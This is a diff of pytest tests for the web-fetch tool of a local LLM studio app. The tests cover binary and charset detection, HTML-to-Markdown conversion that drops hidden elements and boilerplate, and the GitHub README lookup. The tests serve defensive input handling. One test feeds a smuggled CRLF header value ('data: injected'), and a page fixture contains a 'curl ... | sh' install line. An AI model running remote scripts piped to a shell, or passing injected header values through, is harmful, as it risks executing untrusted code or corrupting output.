+    from core.rag.parsers import Page
+
+    # Exactly _MAX_WEB_PDF_PAGES pages are fully read, so no "capped" marker.
+    monkeypatch.setattr(
+        "core.rag.parsers.parse_pdf_bytes",
+        lambda data, *, max_pages = None: (
+            [Page(text = "short", page_number = i, char_count = 5) for i in range(1, 51)],
+            50,
+        ),
+    )
+    text = tools._extract_pdf_text(b"unused")
+    assert "page processing capped" not in text
+    assert "## Page 50\n\nshort" in text
+
+
+def test_pdf_page_cap_does_not_claim_later_pages_are_textless(monkeypatch):
+    from core.rag.parsers import Page
+    monkeypatch.setattr(
+        "core.rag.parsers.parse_pdf_bytes",
+        lambda data, *, max_pages = None: (
+            [Page(text = "", page_number = i, char_count = 0) for i in range(1, 51)],
+            60,
+        ),
+    )
+    assert tools._extract_pdf_text(b"unused") == (
+        "(PDF contains no extractable text in the first 50 pages)"
+    )
+
+
+def test_pdf_result_discarded_after_fetch_deadline(monkeypatch):
+    clock = {"time": 1000.0}
+    monkeypatch.setattr(tools.time, "monotonic", lambda: clock["time"])
+
+    def slow_extract(data):
+        clock["time"] += 10.0
+        return "late PDF text"
+
+    monkeypatch.setattr(tools, "_extract_pdf_text", slow_extract)
+    out = _fetch_with(monkeypatch, _pdf_bytes("Readable text"), "application/pdf")
+    assert out == "Failed to fetch URL: timed out."
+
+
+def test_text_octet_stream_kept_after_sniffing(monkeypatch):
+    body = b"level=info\nmessage=plain text artifact\n" * 100
+    out = _fetch_with(monkeypatch, body, "application/octet-stream")
+    assert "plain text artifact" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+@pytest.mark.parametrize(
+    "content_type",
+    ["application/octet-stream", "application/x-custom-binary", "text/plain", None],
+)
+def test_binary_candidates_rejected_after_sniffing(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, bytes(range(256)) * 20, content_type)
+    assert "�" not in out
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize("content_type", ["application/sql", "application/x-www-form-urlencoded"])
+def test_unknown_application_text_kept_after_sniffing(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, b"select readable_text from artifacts;\n" * 100, content_type)
+    assert "readable_text" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+def test_excel_labeled_csv_kept_after_sniffing(monkeypatch):
+    body = b"name,value\nreadable,42\n" * 100
+    out = _fetch_with(monkeypatch, body, "application/vnd.ms-excel")
+    assert "readable" in out
+    assert "binary content" not in out
+
+
+@pytest.mark.parametrize(
+    "bom,encoding",
+    [
+        (codecs.BOM_UTF16_LE, "utf-16-le"),
+        (codecs.BOM_UTF16_BE, "utf-16-be"),
+        (codecs.BOM_UTF32_LE, "utf-32-le"),
+        (codecs.BOM_UTF32_BE, "utf-32-be"),
+    ],
+)
+@pytest.mark.parametrize("content_type", ["text/plain", "application/vnd.ms-excel"])
+def test_bom_unicode_text_without_charset_kept(monkeypatch, bom, encoding, content_type):
+    body = bom + ("name,value\nreadable,42\n" * 100).encode(encoding)
+    out = _fetch_with(monkeypatch, body, content_type)
+    assert "readable" in out
+    assert "binary content" not in out
+
+
+def test_valid_utf8_binary_caught_by_control_chars(monkeypatch):
+    # These controls are valid UTF-8 and therefore produce no replacement chars.
+    body = bytes([0, 1, 2, 3, 4, 5, 6, 7]) * 400
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "magic",
+    [
+        b"PK\x03\x04",
+        b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1",
+        b"\x1f\x8b",
+        b"BZh",
+        b"\xfd7zXZ\x00",
+        b"\x28\xb5\x2f\xfd",
+    ],
+)
+def test_text_labeled_binary_caught_by_magic(monkeypatch, magic):
+    out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "prefix",
+    [
+        codecs.BOM_UTF8,
+        codecs.BOM_UTF16_LE,
+        codecs.BOM_UTF16_BE,
+        codecs.BOM_UTF32_LE,
+        codecs.BOM_UTF32_BE,
+        b" \r\n",
+        b"\t\xef\xbb\xbf ",
+    ],
+)
+def test_binary_magic_after_harmless_prefix(monkeypatch, prefix):
+    body = prefix + b"\x1f\x8b" + b" printable text-heavy body" * 100
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "content_type,magic",
+    [
+        ("application/vnd.ms-excel", b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"),
+        (
+            "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
+            b"PK\x03\x04",
+        ),
+    ],
+)
+def test_office_labeled_binary_caught_by_magic(monkeypatch, content_type, magic):
+    out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, content_type)
+    assert "binary content" in out
+
+
+def test_latin1_text_without_charset_kept(monkeypatch):
+    # The cp1252 retry should rescue accent-heavy text with ASCII structure.
+    body = (
+        "Muller lauft uber die Strasse: schoene, groesse. MARKERWORD ".replace("ue", "ü")
+        + "äöüß éèà "
+    ) * 30
+    out = _fetch_with(monkeypatch, body.encode("cp1252"), "text/plain")
+    assert "binary content" not in out
+    assert "MARKERWORD" in out
+
+
+@pytest.mark.parametrize("charset", ["iso-8859-1", "latin-1", "latin1"])
+def test_declared_latin1_cp1252_punctuation_kept(monkeypatch, charset):
+    body = ("“quoted” " * 100).encode("cp1252")
+    out = _fetch_with(monkeypatch, body, f"text/plain; charset={charset}")
+    assert "quoted" in out
+    assert "binary content" not in out
+
+
+def test_high_byte_binary_not_rescued_as_cp1252(monkeypatch):
+    # cp1252 maps these bytes to printable characters, but they lack ASCII structure.
+    body = bytes(range(0xA0, 0x100)) * 40
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+def test_ansi_colored_text_log_kept(monkeypatch):
+    # ESC is excluded from the binary set so ANSI logs remain readable.
+    line = "".join(f"\x1b[32m+{i}\x1b[0m\n" for i in range(300)).encode()
+    out = _fetch_with(monkeypatch, line, "text/plain")
+    assert "binary content" not in out
+
+
+def test_html_page_unaffected(monkeypatch):
+    html = b"<html><body><h1>Hello</h1><p>Real text content here.</p></body></html>"
+    out = _fetch_with(monkeypatch, html, "text/html; charset=utf-8")
+    assert "Hello" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+def test_content_type_sanitized_in_message(monkeypatch):
+    # Do not echo obs-folded header content into the model response.
+    out = _fetch_with(monkeypatch, b"PK\x03\x04" * 500, "application/zip\r\n data: injected")
+    assert "\n" not in out and "\r" not in out
+    assert "injected" not in out
+    assert "application/zip" in out
+
+
+@pytest.mark.parametrize(
+    "n_bad,n_total,expect_binary",
+    [
+        (120, 1000, False),
+        (130, 1000, True),
+    ],
+)
+def test_binary_char_ratio_boundary(monkeypatch, n_bad, n_total, expect_binary):
+    body = b"\x00" * n_bad + b"a" * (n_total - n_bad)
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert ("binary content" in out) is expect_binary
+
+
+def test_text_with_a_few_stray_replacement_chars_kept(monkeypatch):
+    # Minor encoding glitches below the floor should not drop a real page.
+    body = ("Real article text. " * 200).encode() + b"\xff\xfe\xff"
+    out = _fetch_with(monkeypatch, body, "text/html")
+    assert "Real article text." in out
+    assert "binary content" not in out
diff --git a/studio/backend/tests/test_web_fetch_extraction.py b/studio/backend/tests/test_web_fetch_extraction.py
new file mode 100644
index 0000000000..b794ee3e81
--- /dev/null
+++ b/studio/backend/tests/test_web_fetch_extraction.py
@@ -0,0 +1,1196 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Main-content extraction and boilerplate stripping for the web fetch tool.
+
+The HTML fixtures below snapshot the relevant fragments of a real GitHub repo
+page (github.com/unslothai/unsloth, fetched 2026-07): the ``hidden``
+client-side error placeholders ("Uh oh! There was an error while loading."),
+the skip-link / nav / footer furniture, and the README rendered inside
+``<article class="markdown-body">``. No network access is required.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference._html_to_md import html_to_markdown
+from core.inference.tools import (
+    _fetch_page_text,
+    _fetch_url_raw,
+    _github_repo_readme_api_url,
+    _looks_like_html,
+)
+
+
+# ── Fixtures: snapshot of GitHub repo page fragments ─────────────
+
+# GitHub ships client-side error placeholders behind the `hidden` attribute (JS
+# reveals them on a failed fetch); a text converter must not surface them.
+_GITHUB_HIDDEN_ERROR_BLOCK = """
+<div data-show-on-forbidden-error hidden>
+  <div class="Box">
+    <div class="blankslate-container">
+      <h3 class="blankslate-heading">Uh oh!</h3>
+      <p class="blankslate-description">
+        <p class="color-fg-muted my-2 mb-2 ws-normal">There was an error while loading.
+        <a class="Link--inTextBlock" href="" aria-label="Please reload this page">Please reload this page</a>.</p>
+      </p>
+    </div>
+  </div>
+</div>
+"""
+
+_GITHUB_PAGE = f"""<!DOCTYPE html>
+<html lang="en">
+<head><title>unslothai/unsloth</title></head>
+<body>
+<a class="px-2 py-4" href="#start-of-content">Skip to content</a>
+<header class="Header-old">
+  <div class="AppHeader-globalBar">
+    <a href="/login">Sign in</a>
+    <a href="/signup">Sign up</a>
+  </div>
+</header>
+<div class="js-notification-shelf"></div>
+<div hidden>
+  You signed in with another tab or window. Reload to refresh your session.
+  You signed out in another tab or window. Reload to refresh your session.
+  You switched accounts on another tab or window. Reload to refresh your session.
+  Dismiss alert
+</div>
+<template>{{{{ message }}}}</template>
+{_GITHUB_HIDDEN_ERROR_BLOCK}
+<main id="js-repo-pjax-container">
+  {_GITHUB_HIDDEN_ERROR_BLOCK}
+  <div id="repository-container-header">
+    <a href="/unslothai">unslothai</a> / <a href="/unslothai/unsloth">unsloth</a>
+    <a href="/login?return_to=%2Funslothai%2Funsloth">Notifications</a>
+    You must be signed in to change notification settings
+  </div>
+  <div class="repository-content">
+    <table aria-labelledby="folders-and-files">
+      <tr><th>Name</th><th>Last commit message</th></tr>
+      <tr><td><a href="/unslothai/unsloth/tree/main/unsloth">unsloth</a></td><td></td></tr>
+    </table>
+    <article class="markdown-body entry-content container-lg" itemprop="text">
+      <h1>Unsloth Studio</h1>
+      <p>Unsloth Studio lets you run and train models locally. Fine-tune and
+      run LLMs on Windows, Linux and macOS with a single install command,
+      then export to GGUF, Ollama, vLLM or Hugging Face when you are done.</p>
+      <h2>Install</h2>
+      <pre>curl -fsSL https://unsloth.ai/install.sh | sh</pre>
+      <p>See the <a href="https://unsloth.ai/docs">documentation</a> for
+      quickstarts, notebooks, and fine-tuning guides for every major model
+      family including Llama, Gemma, Qwen and DeepSeek.</p>
+    </article>
+  </div>
+  <div class="Layout-sidebar">
+    <h2>Languages</h2>
+    <ul>
+      <li><a href="/unslothai/unsloth/search?l=javascript">JavaScript 89.3%</a></li>
+      <li><a href="/unslothai/unsloth/search?l=python">Python 9.7%</a></li>
+    </ul>
+  </div>
+</main>
+<footer>
+  <a href="https://docs.github.com">Docs</a>
+  <a href="https://github.com/contact">Contact</a>
+</footer>
+<div aria-live="polite" aria-hidden="true">You can't perform that action at this time.</div>
+</body>
+</html>
+"""
+
+
+# ── html_to_markdown: hidden elements ────────────────────────────
+
+
+def test_hidden_attribute_subtree_is_dropped():
+    html = "<body><p>visible</p><div hidden><p>secret error text</p></div><p>after</p></body>"
+    out = html_to_markdown(html)
+    assert "visible" in out
+    assert "after" in out
+    assert "secret error text" not in out
+
+
+def test_aria_hidden_true_subtree_is_dropped():
+    html = '<body><p>keep</p><span aria-hidden="true">decoration</span></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "decoration" not in out
+
+
+def test_aria_hidden_false_subtree_is_kept():
+    html = '<body><span aria-hidden="false">still here</span></body>'
+    assert "still here" in html_to_markdown(html)
+
+
+def test_inline_style_display_none_subtree_is_dropped():
+    # Error/loading blocks are often hidden with inline CSS rather than the
+    # ``hidden`` attribute; browsers do not render them, so they must not leak.
+    html = (
+        "<body><p>visible</p>"
+        '<div style="display:none">secret loading block</div>'
+        "<p>after</p></body>"
+    )
+    out = html_to_markdown(html)
+    assert "visible" in out
+    assert "after" in out
+    assert "secret loading block" not in out
+
+
+def test_inline_style_visibility_hidden_subtree_is_dropped():
+    html = '<body><p>keep</p><span style="visibility:hidden">ghost</span></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "ghost" not in out
+
+
+def test_inline_style_display_none_important_is_dropped():
+    # The !important flag must not defeat the display:none detection.
+    html = '<body><p>keep</p><div style="display:none !important">gone</div></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "gone" not in out
+
+
+def test_inline_style_display_none_among_other_declarations():
+    html = (
+        "<body><p>keep</p>" '<div style="color: red; display : none ; margin:0">gone</div></body>'
+    )
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "gone" not in out
+
+
+def test_inline_style_visible_display_is_kept():
+    # Over-strip guard: display:block / visibility:visible render, and a value or
+    # URL merely containing the substring "none" must not trigger the hidden path.
+    html = (
+        "<body>"
+        '<div style="display:block">block kept</div>'
+        '<div style="visibility:visible">visible kept</div>'
+        '<a style="background:url(none.png)">link kept</a>'
+        "</body>"
+    )
+    out = html_to_markdown(html)
+    assert "block kept" in out
+    assert "visible kept" in out
+    assert "link kept" in out
+
+
+def test_hidden_recovers_from_omitted_close_tags():
+    # <p hidden> is never closed; the parent </div> must still end the hidden region.
+    html = "<body><div><p hidden>gone</div><p>kept</p></body>"
+    out = html_to_markdown(html)
+    assert "gone" not in out
+    assert "kept" in out
+
+
+def test_nested_hidden_regions():
+    html = "<body><div hidden><div hidden>inner</div>outer</div><p>ok</p></body>"
+    out = html_to_markdown(html)
+    assert "inner" not in out
+    assert "outer" not in out
+    assert "ok" in out
+
+
+def test_hidden_false_is_still_hidden():
+    # ``hidden`` is enumerated: the spec maps invalid/empty values to the Hidden
+    # state, so hidden="false" is NOT rendered and must not reach the Markdown.
+    html = '<body><p>keep</p><div hidden="false">not rendered</div></body>'
+    out = html_to_markdown(html)
+    assert "keep" in out
+    assert "not rendered" not in out
+
+
+def test_hidden_paragraph_omitted_close_does_not_swallow_siblings():
+    # HTML5 optional end tags: a sibling <p> start tag implicitly closes an open
+    # <p hidden>, so the hidden region ends there instead of swallowing siblings.
+    html = (
+        "<body><div><p hidden>secret"
+        "<p>visible one</p><p>visible two</p></div><p>after</p></body>"
+    )
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible one" in out
+    assert "visible two" in out
+    assert "after" in out
+
+
+def test_hidden_list_item_omitted_close_keeps_following_items():
+    # <li hidden> without </li> is implicitly closed by the next <li>.
+    html = "<body><ul><li hidden>secret<li>shown A</li><li>shown B</li></ul></body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "shown A" in out
+    assert "shown B" in out
+
+
+def test_hr_implicitly_closes_hidden_paragraph():
+    # Void elements also imply closes: <hr> ends an open <p hidden>.
+    html = "<body><p hidden>secret<hr>kept text</body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "kept text" in out
+
+
+def test_skipped_tag_implicitly_closes_hidden_paragraph():
+    # A skipped block (<nav>/<footer>) also closes an open <p>. The optional-close
+    # bookkeeping must run before the skip, or the never-closed <p hidden> keeps its
+    # hidden mark and swallows every following sibling.
+    for skipped in ("nav", "footer"):
+        html = f"<body><p hidden>secret<{skipped}>chrome</{skipped}>VISIBLE</body>"
+        out = html_to_markdown(html)
+        assert "secret" not in out
+        assert "chrome" not in out
+        assert "VISIBLE" in out
+
+
+def test_hidden_void_element_is_suppressed():
+    # A hidden void element (<hr>/<br>) never joins the open-element stack, so it
+    # must be suppressed inline rather than emitting its markup.
+    html = '<body><p>before</p><hr aria-hidden="true"><p>after</p></body>'
+    out = html_to_markdown(html)
+    assert "before" in out
+    assert "after" in out
+    assert "---" not in out
+
+
+def test_hidden_void_br_emits_no_break():
+    html = "<body><p>one<br hidden>two</p></body>"
+    out = html_to_markdown(html)
+    assert "one" in out
+    assert "two" in out
+    # The hidden <br> must not inject a newline between the two runs.
+    assert "one\ntwo" not in out
+
+
+def test_visible_void_hr_still_renders():
+    # Guard: the suppression must not affect non-hidden void elements.
+    html = "<body><p>a</p><hr><p>b</p></body>"
+    out = html_to_markdown(html)
+    assert "---" in out
+
+
+# ── html_to_markdown: main-content scoping ───────────────────────
+
+
+def test_github_page_main_content_keeps_readme_only():
+    out = html_to_markdown(_GITHUB_PAGE, main_content = True)
+    # README content survives.
+    assert "Unsloth Studio" in out
+    assert "install.sh" in out
+    assert "documentation" in out
+    # Client-side error placeholders and page furniture are gone.
+    assert "Uh oh!" not in out
+    assert "There was an error while loading" not in out
+    assert "Please reload this page" not in out
+    assert "You can't perform that action at this time" not in out
+    assert "Skip to content" not in out
+    assert "Sign in" not in out
+    assert "Reload to refresh your session" not in out
+    assert "JavaScript 89.3%" not in out
+    assert "Languages" not in out
+    assert "Last commit message" not in out
+
+
+def test_main_scope_used_when_no_article():
+    html = """
+    <body>
+      <header><a href="/login">Sign in</a></header>
+      <main><h1>Doc title</h1><p>%s</p></main>
+      <footer>footer junk</footer>
+    </body>
+    """ % ("Body text. " * 40)
+    out = html_to_markdown(html, main_content = True)
+    assert "Doc title" in out
+    assert "Body text." in out
+    assert "Sign in" not in out
+    assert "footer junk" not in out
+
+
+def test_main_content_falls_back_to_full_document():
+    # No article/main and a tiny body: the unscoped conversion is returned.
+    html = "<body><h1>Tiny</h1><p>Just a short page.</p></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Tiny" in out
+    assert "Just a short page." in out
+
+
+def test_tiny_article_stub_does_not_hijack_scope():
+    # An <article> with negligible text must not swallow the real content.
+    body_text = "Real content paragraph. " * 30
+    html = f"<body><article>ad</article><main><p>{body_text}</p></main></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Real content paragraph." in out
+
+
+def test_sibling_articles_do_not_leak_after_main_selected():
+    # The size gate picks the largest single <article> and renders only that
+    # subtree: sibling articles (related-post cards, comment threads) must not leak
+    # in just because the real article cleared the threshold.
+    real = "Main article body content for selection. " * 20
+    card = "Unrelated related-post card teaser blurb. " * 3
+    cards = "".join(f"<article><p>{card}</p></article>" for _ in range(5))
+    html = f"<body><article><h1>Real</h1><p>{real}</p></article>{cards}</body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Main article body content" in out
+    assert "Unrelated related-post" not in out
+
+
+def test_default_conversion_unscoped_and_unstripped():
+    # Without main_content the whole document converts (backwards compatible),
+    # boilerplate included; only hidden subtrees are dropped.
+    html = "<body><p>Skip to content</p><div hidden>gone</div><main><p>hello</p></main></body>"
+    out = html_to_markdown(html)
+    assert "Skip to content" in out
+    assert "hello" in out
+    assert "gone" not in out
+
+
+def test_boilerplate_filter_preserves_phrase_inside_real_prose():
+    # The furniture filter once matched by substring, deleting a real sentence that
+    # merely CONTAINS a fragment ("we use cookies"). It must drop only lines COMPOSED
+    # of furniture, keeping real prose that quotes one.
+    body = (
+        "<article><h1>Authentication</h1>"
+        "<p>We use cookies to authenticate API requests and keep sessions safe.</p>"
+        "<p>%s</p></article>"
+    ) % ("Additional documentation content to select the article. " * 8)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "We use cookies to authenticate API requests" in out
+
+
+def test_boilerplate_filter_still_drops_standalone_and_stacked_furniture():
+    # A line that is purely furniture is dropped, as is one stacking several
+    # furniture phrases (as GitHub renders them).
+    body = (
+        "<article>"
+        "<p>Skip to content</p>"
+        "<p>You signed in with another tab or window. Reload to refresh your session.</p>"
+        "<p>Real README body. %s</p>"
+        "</article>"
+    ) % ("Genuine documentation text. " * 8)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "Real README body." in out
+    assert "Skip to content" not in out
+    assert "Reload to refresh your session" not in out
+
+
+def test_boilerplate_not_stripped_inside_code_fences():
+    html = (
+        "<body><article><p>%s</p>"
+        "<pre>assert 'There was an error while loading' in page</pre>"
+        "</article></body>" % ("Prose. " * 40)
+    )
+    out = html_to_markdown(html, main_content = True)
+    assert "There was an error while loading" in out
+
+
+def test_aside_callout_inside_article_is_kept():
+    # Docs render notes/warnings as <aside> callouts. An aside inside the selected
+    # article/main scope is real content and must survive; dropping it unconditionally
+    # loses page text.
+    body = (
+        "<article><h1>Guide</h1>"
+        "<p>%s</p>"
+        "<aside class='admonition warning'><strong>Warning:</strong> "
+        "This operation is destructive and cannot be undone.</aside>"
+        "<p>Trailing paragraph.</p></article>"
+    ) % ("Documentation body text to select the article scope. " * 6)
+    out = html_to_markdown(f"<body>{body}</body>", main_content = True)
+    assert "This operation is destructive and cannot be undone." in out
+    assert "Warning:" in out
+    # Also kept in the unscoped (backwards-compatible) conversion.
+    out_full = html_to_markdown(f"<body>{body}</body>")
+    assert "This operation is destructive and cannot be undone." in out_full
+
+
+# ── GitHub README rewrite ────────────────────────────────────────
+
+
+def test_github_repo_url_maps_to_readme_api():
+    assert (
+        _github_repo_readme_api_url("https://github.com/unslothai/unsloth")
+        == "https://api.github.com/repos/unslothai/unsloth/readme"
+    )
+    assert (
+        _github_repo_readme_api_url("https://github.com/unslothai/unsloth/")
+        == "https://api.github.com/repos/unslothai/unsloth/readme"
+    )
+    assert (
+        _github_repo_readme_api_url("http://www.github.com/owner/repo.git")
+        == "https://api.github.com/repos/owner/repo/readme"
+    )
+
+
+def test_github_non_repo_urls_are_not_rewritten():
+    for url in (
+        "https://github.com/unslothai/unsloth/tree/main/studio",
+        "https://github.com/unslothai/unsloth/issues/123",
+        "https://github.com/topics/llm",
+        "https://github.com/orgs/unslothai/repositories",
+        "https://github.com/login/oauth",
+        "https://github.com/unslothai",
+        "https://example.com/owner/repo",
+        "https://raw.githubusercontent.com/owner/repo/main/README.md",
+    ):
+        assert _github_repo_readme_api_url(url) is None, url
+
+
+def test_fetch_page_text_prefers_github_readme(monkeypatch):
+    calls = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        calls.append((url, extra_headers))
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, "# Unsloth\n\nFine-tune LLMs faster.", "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "Fine-tune LLMs faster." in out
+    assert "README of https://github.com/unslothai/unsloth" in out
+    assert len(calls) == 1
+    assert calls[0][1]["Accept"] == "application/vnd.github.raw+json"
+
+
+def test_fetch_page_text_keeps_html_readme_from_api(monkeypatch):
+    # A repo whose README is HTML returns HTML from the README API with a 200. That
+    # success is authoritative: convert to Markdown and keep it, never discard it in
+    # favour of the repo root page's UI chrome.
+    html_readme = (
+        "<!doctype html><html><body>"
+        "<h1>Project Title</h1>"
+        "<p>Install with the one-line script and read the docs.</p>"
+        "</body></html>"
+    )
+    calls = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        calls.append(url)
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, html_readme, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    # The successful README is converted and returned; no fallback fetch fires.
+    assert "README of https://github.com/unslothai/unsloth" in out
+    assert "Project Title" in out
+    assert "Install with the one-line script" in out
+    assert "<html" not in out
+    assert len(calls) == 1
+
+
+def test_fetch_page_text_falls_back_to_html_when_readme_api_fails(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        if url.startswith("https://api.github.com/"):
+            return "Failed to fetch URL: HTTP 403 rate limited", "", ""
+        return None, _GITHUB_PAGE, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    # Fallback converts the HTML page with the main-content heuristic.
+    assert "Unsloth Studio" in out
+    assert "Uh oh!" not in out
+    assert "There was an error while loading" not in out
+
+
+def test_fetch_page_text_non_html_returned_raw(monkeypatch):
+    raw = "line one\n    indented code\nline three"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, raw, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://raw.githubusercontent.com/o/r/main/file.txt")
+    # Whitespace preserved: the HTML renderer would have collapsed it.
+    assert "    indented code" in out
+
+
+def test_fetch_page_text_html_conversion(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, "text/html"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth/tree/main")
+    assert "Unsloth Studio" in out
+    assert "Uh oh!" not in out
+
+
+def test_fetch_page_text_propagates_fetch_errors(monkeypatch):
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return "Failed to fetch URL: HTTP 404 Not Found", "", ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    assert _fetch_page_text("https://example.com/missing") == (
+        "Failed to fetch URL: HTTP 404 Not Found"
+    )
+
+
+def test_looks_like_html():
+    assert _looks_like_html("<!DOCTYPE html><html></html>")
+    assert _looks_like_html("\n  <HTML lang='en'>")
+    assert not _looks_like_html("# Markdown README\n\n<h1>embedded html later</h1>")
+    assert not _looks_like_html("plain text")
+
+
+def test_looks_like_html_markdown_with_leading_fenced_example_stays_markdown():
+    # A Markdown README OPENING with a fenced HTML example must not be sniffed as
+    # HTML just because a doctype/tag appears in the first 256 chars; html_to_markdown
+    # would corrupt the fences and prose.
+    fenced = (
+        "```html\n<!DOCTYPE html>\n<html><body><div>hi</div></body></html>\n```\n\n# Real README\n"
+    )
+    assert not _looks_like_html(fenced)
+    # Prose that mentions a tag inline, and a centered-logo README that opens
+    # with <p align>/<div align>/<h1 align>, also stay Markdown.
+    assert not _looks_like_html("Use the <html> element to start a page.")
+    assert not _looks_like_html('<p align="center"><img src="logo.png"></p>\n\n# Project\n')
+    assert not _looks_like_html('<div align="center">\n\n# Project\n\n</div>\n')
+    assert not _looks_like_html('<h1 align="center">Project</h1>\n\nMarkdown body.\n')
+    # An autolink is not a tag opener.
+    assert not _looks_like_html("<https://example.com> is the homepage")
+
+
+def test_looks_like_html_detects_bare_fragments():
+    # A body that is a bare HTML fragment (no <html>/doctype) must still be
+    # recognized so it is converted to Markdown.
+    assert _looks_like_html("<body><p>hello</p></body>")
+    assert _looks_like_html("\n<article><h1>Title</h1><p>Body</p></article>")
+    assert _looks_like_html("<section>content</section>")
+
+
+def test_looks_like_html_leading_table_stays_markdown():
+    # Markdown READMEs routinely open with a raw HTML <table> badge row or logo
+    # layout, then continue in Markdown. Sniffing that as HTML would collapse the
+    # Markdown body, so a leading <table> (and its row/cell children) must stay
+    # Markdown, like the excluded <div align>/<p align> layout headers.
+    assert not _looks_like_html("<table><tr><td>cell</td></tr></table>")
+    assert not _looks_like_html(
+        '<table align="center"><tr><td><img src="logo.png"></td></tr></table>\n\n# Project\n'
+    )
+    assert not _looks_like_html("<tr><td>cell</td></tr>")
+
+
+def test_fetch_page_text_keeps_markdown_readme_with_html_example(monkeypatch):
+    # A Markdown README opening with a fenced HTML snippet must be served verbatim,
+    # never run through html_to_markdown (which would drop the fences/tags).
+    md_readme = (
+        "```html\n"
+        "<!DOCTYPE html>\n"
+        "<html><body><h1>Demo</h1></body></html>\n"
+        "```\n\n"
+        "# My Project\n\nInstall and run.\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown preserved verbatim: the fence and literal tags survive.
+    assert "```html" in out
+    assert "<!DOCTYPE html>" in out
+    assert "# My Project" in out
+
+
+def test_fetch_page_text_keeps_markdown_readme_with_leading_table(monkeypatch):
+    # A README opening with a raw HTML <table> badge/layout row then continuing in
+    # Markdown must be served verbatim, never run through html_to_markdown (which
+    # would collapse the list/fence/heading body onto one line).
+    md_readme = (
+        '<table align="center">\n'
+        '<tr><td><img src="logo.png"></td><td>Badges</td></tr>\n'
+        "</table>\n\n"
+        "# My Project\n\n"
+        "- feature one\n"
+        "- feature two\n\n"
+        "```python\nprint('hi')\n```\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown body verbatim: list, fence and heading survive on their own lines.
+    assert "- feature one\n- feature two" in out
+    assert "```python" in out
+    assert "# My Project" in out
+
+
